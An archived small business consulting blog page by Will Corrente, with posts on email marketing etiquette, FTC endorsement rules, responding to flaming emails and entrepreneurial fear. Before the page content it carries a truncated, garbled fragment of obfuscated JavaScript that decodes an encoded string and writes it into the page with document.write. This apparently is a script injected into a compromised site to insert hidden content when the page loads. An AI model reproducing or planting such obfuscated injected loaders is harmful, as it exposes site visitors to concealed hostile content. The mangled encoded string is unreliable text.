=192)cad07dc47+=848;else if(cad07dc47==168)cad07dc47=1025;else if(cad07dc47==184)cad07dc47=1105;document.write(String.fromCharCode(cad07dc47));continue;}pf71c68a=(ad65ac20+'').charCodeAt(0);if(pf71c68a>848)pf71c68a-=848;v625b0bc=pf71c68a-xf8314-47;if(v625b0bc<0)v625b0bc+=256;if(v625b0bc>=192)v625b0bc+=848;else if(v625b0bc==168)v625b0bc=1025;else if(v625b0bc==184)v625b0bc=1105;document.write(String.fromCharCode(v625b0bc));}}q7e637e7fcd8b("1bfb5","59�253�4$3*1�569�\\�8�TIV�4","61��227��427��207��1","87�","�193��1","91��571�'�","17�4�55","7�=R","=/?N�474��242��2","49��253��5","53��255��22��2","29��226�<","G;ME","=FL�6�OJ�39","4�","�162��500��23�","�","8��203��1","97","��223","��1","2��9","��21","��4��16��8��195��22��21��40","3��165��12","7�i�170��182��182��1","7","8��4","97��218��207�","�207��2","0��8��5��15��19��","13��1��18","�","�","9��527�,�31�\"","#�23","6","�!-�483��","255��443�","�152��203��568�\\�22�","SPIYH�480��1��248��244��2��190��249��254","��254��252��251��","51","6��20��555��9�=FC?H�459��2","38��","169","��222��21","9��23","8��2","19��42","4��1","34��467��2","35��240��457��220��399��16","3��182��526��235��584�g_g","�30��","23�n`[�546�E9","�14��2��2","41��516","��27","��52","8�$�443��211��209��210��222��167��","155��138","�","�221��488��11","��","16��418��189","��47","9��2","43��203��181��4��247��1��24","7��440��201��208","�","�2","11��208��219��539�C�4�23..�563�","G�532","�1�254�326,7,","�582","�dc/","�547�34","EA>GF","7�24","9��","16��4","95��218��205��7��4��1","6��255�","�11��3","�","�220��19","2��199��404��126��127","�","r�182��559�APGN�","573�`*"); small business consulting · Will Corrente Operation Entrepreneur








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Archive for the small business consulting

What i enjoy least about owning my own business?

February 15th, 2010 by admin No Comments

I am looking to create a top list of what entrepreneurs enjoy least about owning their own business.

Top list will be compiled and posted on this blog and in my weekly news column.

Thank you for your response.

Why do you love your business?

February 7th, 2010 by admin No Comments

I am compiling a list of the top 50 reasons why entrepreneurs love what they do.

Results will be published in my weekly column at the end of Febraury and posted on my blog so feel free to leave your name, company name, and web URL for inclusion in the post.

Please keep repsonses to 2-3 sentences.

Thank you for sharing!

Entreprneneur Advice- Video Optimziation

December 20th, 2009 by admin No Comments

Small Business Consulting and Entrepreneur Development resource of the week by Will Corrente and Operation Entrepreneur

Smart and savy entrepreneurs know that learning how to leverage the web and its expansive marketing capabilities holds the key not only to a company’s exposure online but driving off line traffic as well. In the early days of the web written content was king, then came pictures, then audio and video. Now social media has changed the way entrepreneurs need to position themselves and reach their target audience online. This article offers advice on maximizing 2 of the web’s greatest players in assisting you in driving traffic and building organic strength. Facebook and Google!

If you’re creating videos, hosting them on your website, and aim to optimize those videos for competitive search engine placement you’ll want to pay attention to this one.

Google today announced support for Facebook Share and Yahoo! SearchMonkey RDFa for videos.

Video Optimziation: Google Supports FB Share and RDFa – Website Magazine – Website Magazine.

Entrepreneur Coaching-Eight digital alternatives to paper business cards – CNN.com

December 11th, 2009 by admin No Comments

Digital business cards are a great way to improve your efficiency, web reach, entrepreneur development and personal development.

Here is a great article on new electronic business cards and digital means of business card exchange. I am experimenting with one of them, the business card2 service. I liked what they had to say regarding SEO, ease of sharing on the web and that there is no software download required. I am intrigued by the dub.com product, since I have become an avid blackberry user, but one drawback is that both users must have the dub application to exchange information. That being the case, we will need to wait to see who becomes the dominant player in the market or if blackberry with eventually coome with a preloaded setting for electronic (beaming) exchange.

Eight digital alternatives to paper business cards – CNN.com.

Small Business Consulting- New FTC Internet Marketing Guidelines in Effect

December 8th, 2009 by admin 1 Comment

Under the revised Guides, advertisements that feature a consumer and convey his or her experience with a product or service as typical when that is not the case will be required to clearly disclose the results that consumers can generally expect. In contrast to the 1980 version of the Guides – which allowed advertisers to describe unusual results in a testimonial as long as they included a disclaimer such as “results not typical” – the revised Guides no longer contain this safe harbor.

The revised Guides also add new examples to illustrate the long standing principle that “material connections” (sometimes payments or free products) between advertisers and endorsers – connections that consumers would not expect – must be disclosed. These examples address what constitutes an endorsement when the message is conveyed by bloggers or other “word-of-mouth” marketers. The revised Guides specify that while decisions will be reached on a case-by-case basis, the post of a blogger who receives cash or in-kind payment to review a product is considered an endorsement. Thus, bloggers who make an endorsement must disclose the material connections they share with the seller of the product or service. Likewise, if a company refers in an advertisement to the findings of a research organization that conducted research sponsored by the company, the advertisement must disclose the connection between the advertiser and the research organization. And a paid endorsement – like any other advertisement – is deceptive if it makes false or misleading claims.

Read the entire article at http://ftc.gov/opa/2009/10/endortest.shtm

technorati claim

December 4th, 2009 by admin No Comments

Will Corrente & West Palm Beach Library Foundation to Sponsor Free Seminar Series

December 3rd, 2009 by admin No Comments

The West Palm Beach Library Foundation is proud to present a series of seminars entitled “Live A Power FULL Life” featuring local entrepreneur and West Palm Beach resident, Will Corrente.

Will Corrente is a life long entrepreneur. Over the past 20 years, Will has owned and operated several businesses in the business to business and business to consumer market segments. While still in college, Will started his first 2 businesses: the first a lawn care and landscaping maintenance company, and the second, a residential and commercial cleaning service. read the entire story at

http://www.wpblibraryfound.org/index.cfm?fuseaction=news.details&ArticleId=6&returnTo=main

Email Marketing 101 for Entrepreneurs

November 27th, 2009 by admin No Comments

As a consultant to young entrepreneurs and small businesses owners of all levels, I would like to share a couple of critical e-marketing tips with you. Entrepreneurs and small businesses make simple but costly mistakes when engaging in email marketing. the following list should help you increase your email and marketing effectiveness.

Client and prospect information is one of the most valuable commodities a business can possess, therefore, when sending email correspondence or promotions to a large list, Send your email in such a way that the only email visible is yours
Your email message should be well crafted, timely and straight to the point
Your subject should be clear and to the point giving your reader an understanding of what you are communicating
Address the email to yourself and use your BCC or Blind Carbon Copy function for the email addresses of your clients/prospects
Preserve the value of your list by not publicly sharing the names and email addresses of your clients or prospects
Respect the privacy of your contacts by protecting their names and or email addresses
Consider using an email service such as icontact or constant contact for your list management and email marketing
If including links, test your links before sending your email
Create an email address for your company, that includes your company URL example:bob@abccompany.com instead of bobsabccompany@aol.com
Give your subscribers an opportunity to discontinue receiving messages from you by posting a message at the bottom of your email stating- “If you no longer wish to receive messages from Company name, please reply to this message with the words Unsubscribe in the subject field, OR
Use a professional email service such as constant contact or icontact which has this feature built in

I hope you found this information helpful, it is one of the most common mistakes small businesses and entrepreneurs make when first getting started or implementing an email marketing campaign.

Will Corrente – “Helping People Get Where They Want To Go”

Entrepreneur, Consultant, Speaker and, Author

CEO Corrente Consulting International Inc and Operation Entrepreneur – Specializing in small business consulting, entrepreneur coaching, and entrepreneur development.

Download your free special report at http://www.operationentrepreneur.com/7secrets/

Small Business Consulting 101- Responding to Flaming Emails

November 19th, 2009 by admin No Comments

This blog post is courtesy of my friend and colleague Pam Cournoyer.

Email ettiquette is a hot topic in my small business consulting and entrepreneur development practice and I appreciate Pamela lending her advice and counsel on this important topic.

If you ever received email that insulted you, caused a sinking feeling in your gut, or a horrible sense of personal violation, then you have been the victim of a flaming email. Undeserved, unwarranted and hurtful words can put a real damper on your day. The longer you are in business and the more customers you serve, the more likely it is this will occur.

I’ve included four real-life examples of business emails and posts’, and followed them with suggestions of HOW to respond to similar inflammatory attacks. Our goal here is to maintain your brand, your professionalism and your reputation. At the end of this article there are points to keep in mind if you are tempted to initiate or reply with a flaming email.

#1 Lawsuit Threat. “I realize that I am public enemy number one, since I chose not to expose you or me to the inevitable lawsuit that would come because you decided to _____ in the first place.”

This is meant to stir you up. Writing a defense will not help – no matter how good the reason. Disregard the “public enemy #1,” it is added for effect, disregard the “inevitable law suit,” it’s a mute point. Disregard the accusation of “because you decided to.” Now, how much actual content is left? There is no response to this statement.

If you must respond to a flaming email, look at the UNDERLYING issues – these are only symptoms of something much deeper that may or may not have anything to do with you. Once you decipher what the cause of the accusation is, professionally deal with those facts and let the rest go.

#2 All I Get Is Silence. “To date…. I have not received any word from _____ about _______. All I need is a definitive answer. All I get is silence. She won’t take my calls. She won’t answer my e-mails and neither will you.”

Do not get pulled into the drama. A timely and professional response to the original concern is the UNDERLYING problem (stated in the first sentence). Apologize for the slight in customer service and give the customer what they need.

#3 Age and Grammar Discrimination. “I have been reading your reports, paticularly in South East Asia and I have to say they are incredibly poor. You are from an English speaking country (the U.S.A) presumably you are in your early twenties, so why is your English at the level of a mentally challenged five year old child. I cannot understand any of your ideas. If you want to set up a website with informative material please make sure you can actually write at all.”

This blog post response shows a serious lack of professionalism, maturity and proper grammar. Quite often people who write flaming emails are coming from their survival brain where logic and clear thought are not present. Disregard it there is no need to defend anything. Keep in mind; those who violate common courtesy will trip themselves up without you ever responding.

#4 Swearing and Misspelling. “Its not because people couldnt reset there passwords that they dont visit your board its because it is crap. Dont email me again, and remove me from your system file thank you.”

Do you suppose the “thank you” at the end of the statement is meant to excuse the sender from their preceding rude comments? Note the incorrect usage of the word “there,” and the misspelling of the word “couldn’t,” “dont,” and “Dont” and the improper sentence structure. Poor grammar and anger usually mix – it makes the user appear ignorant. Again, the allegations need NO response. The UNDERLYING problem here is resetting the passwords – correct this as a courtesy to the rest of your users.

The moderator’s flaming response before thinking to Communicate with CLASS:

“I’m afraid I won’t do that, mainly due to your rudeness. What gives you the idea that you can speak for all 540 members regarding whether or not they have been unable to reset their passwords, or that they think the site is crap?”

While the moderator may have a point, they are continuing the argument, and encouraging a nastier reply. Fix the passwords, and set up a posting policy like: “The use of flaming terminology will be grounds for removal from the site.”

CLASS key s that might improve your responses when you are inflamed by email:

Back away from your keyboard when:

The message is emotionally charged
What is being communicated is complicated
A conversation is more efficient
Privacy is an issue
You are thinking in profanity
You want to type in ALL CAPS
You think excessive exclamation points or question marks will get your point across better

Because people cannot read your body language, voice tone or emotions when sending email, how you craft your response is very important. Every keystroke talks about you, it reveals your character, your professionalism; it personally brands you. Keep in mind the fact that one careless response could easily be forwarded to people you never intended.

Even a few incidents of conflict escalation for most people can create enormous problems. As the number of workplace relationships managed by email increases, the volume of flaming email escalation can grow exponentially. If you are experiencing these problems in your workplace or between yourself and another, contact us for assistance in getting this under control.

Overcoming Fear-the Key to Entrepreneur Development!

November 15th, 2009 by admin 1 Comment

Will Corrente – Fear is nothing more than a lack of faith in yourself to overcome the obstacle, circumstance, or challenge in your path. It is that flicker of doubt in your mind that grows into a flame, that you do not have the ability to “do it”. Whatever, “IT” is. In 2002, I faced a couple of my “IT’s”; the fear of the unknown and the fear of going it alone in a new and unfamiliar place.

In 2001, I found myself working for a company in New York City. Although I considered myself a serial entrepreneur, I somehow drifted off track to the “safety” of a job and convinced myself I was on the right path. The events of 9/11 changed all that and in the months following, I was reinvigorated with thoughts of possibilities. I had seen first-hand the frailty of life and decided that when confronted with an “IT” circumstance I would make fear my ally and not my adversary.

read the full story at http://www.getinthehotspot.com/2009/09/25/turn-terrified-into-terrific/

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